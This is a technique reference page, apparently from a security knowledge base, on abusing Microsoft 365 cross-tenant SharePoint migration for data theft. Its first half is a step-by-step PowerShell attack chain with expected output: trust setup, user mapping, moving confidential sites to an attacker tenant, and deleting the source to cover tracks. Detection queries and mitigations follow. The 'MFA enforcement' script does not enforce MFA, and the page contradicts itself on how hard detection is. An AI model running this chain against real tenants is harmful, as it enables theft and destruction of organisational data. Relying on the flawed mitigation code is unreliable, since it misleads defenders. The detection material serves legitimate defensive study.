| Attribute | Details | |—|—| | Technique ID | LM-AUTH-015 | | MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material | | Tactic | Lateral Movement | | Platforms | M365 (Microsoft 365) | | Severity | Critical | | CVE | N/A | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | SharePoint Online with Cross-Tenant Migration enabled | | Patched In | N/A (Feature design, mitigations required) | | Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft’s Cross-Tenant SharePoint migration feature allows authorized administrators to move SharePoint site collections between M365 tenants. An attacker who compromises a SharePoint administrator account or obtains administrative credentials can abuse this feature to move entire site collections containing sensitive data to an attacker-controlled tenant. The attacker establishes trust between source and target tenants, then exfiltrates entire site collections with permissions intact, effectively stealing data and maintaining access through alternate tenant.
Attack Surface: SharePoint Admin Center, Cross-Tenant Migration API, Azure AD service principal trust relationships, SharePoint migration orchestrator endpoints.
Business Impact: Complete exfiltration of site collections including all documents, permissions, metadata, and versions. Attacker gains persistent access via alternate tenant. Business continuity disrupted as sites are moved without user knowledge. Regulatory breach—data leaves organization boundary.
Technical Context: Migration process takes 5-30 minutes depending on site size. Detection is difficult because migration appears as legitimate admin activity in audit logs. Reversibility is extremely low—recovered data requires restore from backup or governance policies to reclaim.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 2.1.5, 6.3.1 | Enforce MFA for all administrative access; control resource sharing | | DISA STIG | SI-4, AC-2 | Audit and account management for cloud service administrators | | CISA SCuBA | SHP-10, SHP-13 | SharePoint sharing controls and data retention policies | | NIST 800-53 | AC-2, AC-3, AU-12 | Account Management, Access Control, and Audit Logging | | GDPR | Art. 32, Art. 33 | Security of Processing and Data Breach Notification | | DORA | Art. 9, Art. 20 | Protection Measures and Reporting of Anomalies | | NIS2 | Art. 21, Art. 27 | Cyber Risk Management and Incident Response | | ISO 27001 | A.5.2, A.9.2.6 | Segregation of Duties; Admin/User Access Separation | | ISO 27005 | Section 8.3 | Risk Assessment for cross-tenant data movement |
Supported Platforms:
Tools:
Supported Versions: All M365 tenants with cross-tenant migration enabled
Objective: Configure trust relationship allowing site migration between tenants.
Command (PowerShell - Run in TARGET Tenant as Global Admin):
# Connect to target tenant
Connect-PnPOnline -Url "https://yourtarget.sharepoint.com" -Interactive
# Create a new cross-tenant synchronization policy
$policy = @{
DisplayName = "Allow Migration from Source Tenant"
Description = "Trust configuration for cross-tenant site collection migration"
SourceTenant = "source-tenant-id" # GUID of source tenant
TargetSyncConfiguration = @{
OutboundSyncEnabled = $true
InboundSyncEnabled = $false
UserMapping = "upn" # Map by UPN
}
}
# Set the policy via Azure AD (requires Entra admin context)
Connect-MgGraph -Scopes "Directory.ReadWrite.All"
New-MgPolicyCrossTenantAccessPolicy -Definition $policy | Format-List
Expected Output:
Id : 00000000-0000-0000-0000-000000000001
DisplayName : Allow Migration from Source Tenant
OutboundSyncEnabled : true
InboundSyncEnabled : false
UserSyncInboundAllowed : true
TenantRestrictionsPoliciesId : source-tenant-guid
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Map source tenant user accounts to target tenant accounts for permission preservation.
Command (PowerShell - TARGET Tenant):
# Create identity mapping between source and target users
$userMapping = @(
@{
SourceUpn = "john.doe@source.com"
TargetUpn = "john.doe@target.com"
},
@{
SourceUpn = "admin@source.com"
TargetUpn = "admin@target.com"
}
)
# Export mapping to CSV for use in migration
$userMapping | Export-Csv "C:\UserMapping.csv" -NoTypeInformation
# Verify target users exist
foreach ($mapping in $userMapping) {
$user = Get-MgUser -Filter "userPrincipalName eq '$($mapping.TargetUpn)'" -ErrorAction SilentlyContinue
if (-not $user) {
Write-Warning "User $($mapping.TargetUpn) does not exist in target tenant!"
} else {
Write-Host "✓ User $($mapping.TargetUpn) exists"
}
}
Expected Output:
✓ User john.doe@target.com exists
✓ User admin@target.com exists
File: C:\UserMapping.csv
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Move entire SharePoint site collection to target tenant.
Command (PowerShell - SOURCE Tenant as SharePoint/Global Admin):
# Connect to source tenant
Connect-SPOService -Url "https://yoursource-admin.sharepoint.com" -Credential (Get-Credential)
# List site collections eligible for migration
Get-SPOSite -Limit All | Where-Object {$_.StorageUsageCurrent -lt 2097152} | Select Url, Title, StorageUsageCurrent
# Initiate migration for target site
$sourceSiteUrl = "https://yoursource.sharepoint.com/sites/Confidential"
$targetSiteUrl = "https://yourtarget.sharepoint.com/sites/Confidential" # Can use same name
# Create migration job
$migrationJob = Start-SPOCrossTenantSiteCollectionMovement `
-SourceSiteUrl $sourceSiteUrl `
-TargetCrossTenantHostUrl "https://yourtarget.sharepoint.com" `
-TargetCrossTenantSiteUrl $targetSiteUrl `
-SourceTenantAdminUrl "https://yoursource-admin.sharepoint.com" `
-TargetTenantAdminUrl "https://yourtarget-admin.sharepoint.com" `
-UserMappingCsvPath "C:\UserMapping.csv"
# Monitor migration status
Get-SPOCrossTenantSiteCollectionMovementStatus -MigrationId $migrationJob.MigrationId
Expected Output:
MigrationId : 12345678-1234-1234-1234-123456789012
SourceSiteUrl : https://yoursource.sharepoint.com/sites/Confidential
TargetSiteUrl : https://yourtarget.sharepoint.com/sites/Confidential
State : InProgress
Progress : 45
EstimatedCompletionTime : 2026-01-10T15:30:00Z
What This Means:
OpSec & Evasion:
Troubleshooting:
OutboundSyncEnabled = trueObjective: Finalize migration and confirm data arrived in target tenant.
Command (PowerShell - TARGET Tenant):
# Connect to target tenant
Connect-SPOService -Url "https://yourtarget-admin.sharepoint.com" -Credential (Get-Credential)
# List newly migrated sites
Get-SPOSite -Filter "Url -like '/sites/Confidential'" | Select Url, Title, Owner, StorageUsageCurrent, Status
# Verify document library contents
Connect-PnPOnline -Url "https://yourtarget.sharepoint.com/sites/Confidential"
Get-PnPListItem -List "Documents" | Select Title, Created, Modified, Author | Head -20
# Check permissions (verify user mapping worked)
Get-PnPGroupMembers -Identity "Confidential Owners" | Select Title, Email
Expected Output:
Url Title Owner StorageUsageCurrent Status
--- ----- ----- ------------------- ------
https://yourtarget.sharepoint.com/... Confidential admin@target 52428800 Active
Title Created Modified Author
----- ------- -------- ------
Q4_Financials.xlsx 2024-11-01 10:00 2025-01-10 16:45 john.doe@target.com
Strategic_Plan.docx 2024-10-15 08:30 2025-01-08 14:20 john.doe@target.com
What This Means:
OpSec & Evasion:
Troubleshooting:
Add-PnPGroupMember in target tenantObjective: Remove original site from source tenant to cover tracks.
Command (PowerShell - SOURCE Tenant):
# Connect to source tenant
Connect-SPOService -Url "https://yoursource-admin.sharepoint.com" -Credential (Get-Credential)
# Delete the original site collection
Remove-SPOSite -Identity "https://yoursource.sharepoint.com/sites/Confidential" -NoWait -Confirm:$false
# Verify deletion
Get-SPODeletedSite -Identity "https://yoursource.sharepoint.com/sites/Confidential" | Select Url, DeletionTime
Expected Output:
Url DeletionTime
--- -----------
https://yoursource.sharepoint.com/sites/... 2026-01-10T16:00:00Z
What This Means:
OpSec & Evasion:
Supported Versions: All M365 tenants
Objective: Obtain credentials for account with SharePoint admin role.
Command (Assumed: Attacker has credentials from prior compromise):
# Credentials obtained via:
# - Phishing/password spray
# - Credential dumping from compromised device
# - Insider threat with access to admin credentials
$adminUpn = "sharepoint.admin@source.com"
$adminPassword = "P@ssw0rd123!"
# Verify credentials work
$credential = New-Object PSCredential($adminUpn, $(ConvertTo-SecureString $adminPassword -AsPlainText -Force))
# Test connection as admin
Connect-SPOService -Url "https://yoursource-admin.sharepoint.com" -Credential $credential
Get-SPOSite | Select Url, Title # Should list all sites (admin privilege)
Expected Output:
Url Title
--- -----
https://yoursource.sharepoint.com/sites/Finance Finance
https://yoursource.sharepoint.com/sites/HR Human Resources
https://yoursource.sharepoint.com/sites/Legal Legal Department
(etc.)
What This Means:
OpSec & Evasion:
Atomic Red Team Simulation:
Simulation Command (Non-Destructive):
# Simulate cross-tenant policy creation WITHOUT actual migration
Connect-MgGraph -Scopes "Directory.ReadWrite.All" -TenantId "target-tenant-guid"
# List existing cross-tenant policies (non-destructive enumeration)
Get-MgPolicyCrossTenantAccessPolicy -Filter "displayName eq 'Allow Migration from Source Tenant'" |
Format-List DisplayName, OutboundSyncEnabled, InboundSyncEnabled
# Simulate user mapping creation
$testMapping = @(
@{ SourceUpn = "test@source.com"; TargetUpn = "test@target.com" }
) | Export-Csv "C:\Temp\SimulatedMapping.csv" -NoTypeInformation
Write-Host "✓ Simulation complete - no actual migration occurred"
# Cleanup
Remove-Item "C:\Temp\SimulatedMapping.csv" -Force
Cleanup Command:
# No persistent changes with simulation
Write-Host "Simulation artifacts cleaned up"
Reference: MITRE T1550
Version: 2.10.0+ Minimum Version: 2.0.0 Supported Platforms: Windows, macOS, Linux
Installation:
Install-Module Microsoft.Graph -Force
Import-Module Microsoft.Graph
Usage (Enumerate Cross-Tenant Policies):
Connect-MgGraph -Scopes "Directory.Read.All"
Get-MgPolicyCrossTenantAccessPolicy | Select DisplayName, OutboundSyncEnabled, SourceTenant
Version: 16.0.25218+ Minimum Version: 16.0.0
Installation:
Install-Module -Name Microsoft.Online.SharePoint.PowerShell -Force
Usage (Cross-Tenant Migration):
Connect-SPOService -Url "https://yourtenant-admin.sharepoint.com"
Get-SPOCrossTenantSiteCollectionMovementStatus -MigrationId "guid"
Version: 2.5+ Supported Platforms: Windows, macOS, Linux
Installation:
Install-Module PnP.PowerShell -Force
Usage (Site Enumeration & Management):
Connect-PnPOnline -Url "https://yourtenant.sharepoint.com/sites/Confidential"
Get-PnPListItem -List "Documents" | Export-Csv "C:\AllDocuments.csv"
Rule Configuration:
o365:audit, azure_monitorazure:aad:audit, sharepoint:onlineOperation, UserId, SourceTenant, TargetTenant, SiteUrlSPL Query:
index=o365:audit source="SharePoint"
(Operation="Start cross-tenant site collection movement" OR
Operation="Create cross-tenant access policy")
| stats count by UserId, Operation, TargetTenant, SiteUrl
| where count > 0
| alert
What This Detects:
Manual Configuration Steps:
count > 0 (ANY match)False Positive Analysis:
| where UserId!="svc_*" AND UserId!="migration*"Source: Microsoft 365 Audit Log Operations
Rule Configuration:
AuditLogs, OfficeActivityOperation, UserId, ClientIP, SourceIP, TargetResourcesKQL Query:
OfficeActivity
| where Operation in ("Start cross-tenant site collection movement", "Create cross-tenant access policy")
| extend MigrationDetails = parse_json(tostring(OfficeObjectId))
| project UserId, Operation, SourceIP, ClientIP, TimeGenerated,
TargetTenant = MigrationDetails.TargetTenant,
SiteUrl = MigrationDetails.SiteUrl
| join kind=inner (
AuditLogs
| where OperationName == "Create cross-tenant access policy"
| project UserId, TimeGenerated
) on UserId
| where TimeGenerated1 - TimeGenerated < 5m # Policy created shortly before migration
| project UserId, Operation, TimeGenerated, TargetTenant, SiteUrl
What This Detects:
Manual Configuration Steps (Azure Portal):
Unauthorized Cross-Tenant SharePoint MigrationCritical5 minutes1 hourUserId, TargetTenantManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$rule = @{
DisplayName = "Unauthorized Cross-Tenant SharePoint Migration"
Query = @"
OfficeActivity
| where Operation == "Start cross-tenant site collection movement"
| project UserId, Operation, TimeGenerated, OfficeObjectId
"@
Severity = "Critical"
Enabled = $true
}
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName @rule
Source: Microsoft Sentinel Detection Queries
Alert Name: “Unauthorized cross-tenant SharePoint site collection movement detected”
Manual Configuration Steps:
Reference: Microsoft Defender for Cloud Alerts
Search-UnifiedAuditLog -Operations "Start cross-tenant site collection movement" `
-StartDate (Get-Date).AddDays(-30) -ResultSize 5000 |
Select Timestamp, UserIds, ClientIP, AuditData |
Export-Csv "C:\CrossTenantMigrations.csv"
TargetTenant, SiteUrl, EstimatedSize in AuditDataManual Configuration Steps (Enable Audit Logging):
Manual Configuration Steps (Search):
PowerShell Alternative:
Connect-ExchangeOnline
Search-UnifiedAuditLog -Free -StartDate "2026-01-01" -EndDate "2026-01-31" `
-Operations "Start cross-tenant site collection movement" -ResultSize 5000 |
Export-Csv "C:\CrossTenantMigrationAudit.csv"
Disable Cross-Tenant Migration (If Not Required): Turn off the cross-tenant migration feature entirely to prevent this attack vector. Applies To Versions: All M365 tenants
Manual Steps (SharePoint Admin Center):
Manual Steps (PowerShell):
Connect-SPOService -Url "https://yourtenant-admin.sharepoint.com"
Set-SPOTenant -EnableCrossTenantMigration $false
Verification:
Get-SPOTenant | Select EnableCrossTenantMigration
# Expected: False
Enable MFA for All SharePoint Admins: Require multi-factor authentication for any account with SharePoint administrator rights. Applies To Versions: All M365 tenants
Manual Steps (Azure Portal):
Enforce MFA for SharePoint AdminsManual Steps (PowerShell):
# Assign MFA requirement to SharePoint admin role
$policy = New-AzureADPolicy -Definition @('{"TokenLifetimePolicy":{"Version":1,"MaxInactiveTime":"00:30:00"}}') `
-DisplayName "SharePoint Admin MFA Enforcement" -Type "TokenLifetimePolicy"
# Apply to all users with SharePoint admin role
Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -like "*SharePoint*"} | ForEach-Object {
Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId | ForEach-Object {
# Assign MFA requirement to each admin
Write-Host "Applied policy to $($_.DisplayName)"
}
}
Implement SharePoint Governance Policies: Prevent unauthorized site creation and enforce approval for sensitive sites. Applies To Versions: All M365 tenants
Manual Steps (SharePoint Admin Center):
Audit and Monitor All Cross-Tenant Policy Changes: Log every creation, modification, and deletion of cross-tenant policies. Applies To Versions: All M365 tenants (requires Advanced Audit)
Manual Steps (Purview):
Implement Conditional Access for Administrative Actions: Require additional verification for SharePoint admin activities. Applies To Versions: All M365 tenants
Manual Steps (Azure Portal):
Restrict SharePoint Admin from Unusual LocationsEnable Data Loss Prevention (DLP) for SharePoint: Detect and prevent exfiltration of sensitive documents via migration. Applies To Versions: M365 E5 (or Standalone DLP)
Manual Steps (Purview):
Prevent Unauthorized SharePoint ExfiltrationImplement Just-In-Time (JIT) Admin Access: Require approval and time-limited elevation for SharePoint admin roles. Applies To Versions: All M365 tenants with PIM (Privileged Identity Management)
Manual Steps (Azure Portal):
# Create whitelist of allowed source tenants
$allowedTenants = @("trusted-partner-tenant-guid", "corporate-subsidiary-guid")
# Update policy to restrict to whitelist only
Get-MgPolicyCrossTenantAccessPolicy |
Where-Object {$_.SourceTenant -notin $allowedTenants} |
Remove-MgPolicyCrossTenantAccessPolicy
# Verify cross-tenant migration is disabled
Get-SPOTenant | Select EnableCrossTenantMigration
# Expected: False
# Verify MFA enforcement on admin roles
Get-AzureADMSConditionalAccessPolicy |
Where-Object {$_.DisplayName -like "*SharePoint*"} |
Select DisplayName, State
# Verify no unauthorized cross-tenant policies exist
Get-MgPolicyCrossTenantAccessPolicy |
Select DisplayName, OutboundSyncEnabled |
Format-Table
Expected Output (If Secure):
EnableCrossTenantMigration : False
DisplayName State
----------- -----
Enforce MFA for SharePoint Admins enabled
DisplayName OutboundSyncEnabled
----------- -------------------
(No unauthorized policies listed) (None)
What to Look For:
EnableCrossTenantMigration is False# Disable the compromised SharePoint admin account
Set-AzureADUser -ObjectId "admin@source.com" -AccountEnabled $false
# Disable target tenant admin account (if attacker created one)
Set-AzureADUser -ObjectId "attacker@target.com" -AccountEnabled $false
Manual (Azure Portal):
# Force all existing sessions to sign out
Revoke-AzureADUserAllRefreshToken -ObjectId "admin@source.com"
Revoke-AzureADUserAllRefreshToken -ObjectId "attacker@target.com"
# Export audit logs for forensic analysis
Search-UnifiedAuditLog -UserIds "admin@source.com" -StartDate (Get-Date).AddDays(-7) `
-Operations "Start cross-tenant site collection movement" -ResultSize 5000 |
Export-Csv "C:\Evidence\CrossTenantMigration.csv"
# Export deleted sites
Get-SPODeletedSite | Where-Object {$_.DeletionTime -gt (Get-Date).AddHours(-24)} |
Export-Csv "C:\Evidence\DeletedSites.csv"
# Restore site from backup (if available)
Connect-SPOService -Url "https://yoursource-admin.sharepoint.com"
Restore-SPODeletedSite -Identity "https://yoursource.sharepoint.com/sites/Confidential"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default Credential Exploitation | Attacker discovers shared admin credentials or default account |
| 2 | Privilege Escalation | [PE-ACCTMGMT-002] Exchange Online Admin to Global | Attacker escalates to Global/SharePoint admin role |
| 3 | Lateral Movement | [LM-AUTH-015] | SharePoint Site Collection Movement to Attacker Tenant |
| 4 | Persistence | [Persistence] Attacker maintains access via target tenant credentials | |
| 5 | Collection | [Collection] Attacker exfiltrates all site data in parallel | |
| 6 | Impact | [Impact] Data Breach, Business Disruption, Regulatory Fine |
Technique Complexity: Moderate-High (requires admin credentials but process is straightforward)
Detection Difficulty: Low (audit logs are clear, but often reviewed post-incident)
Persistence Potential: Extreme (data exists in external tenant indefinitely; backup/recovery takes weeks)
Cross-Platform Applicability: M365 only (specific to SharePoint Online architecture)
Recovery Time: Days to weeks (requires restore from backup or legal recovery)
Related Techniques: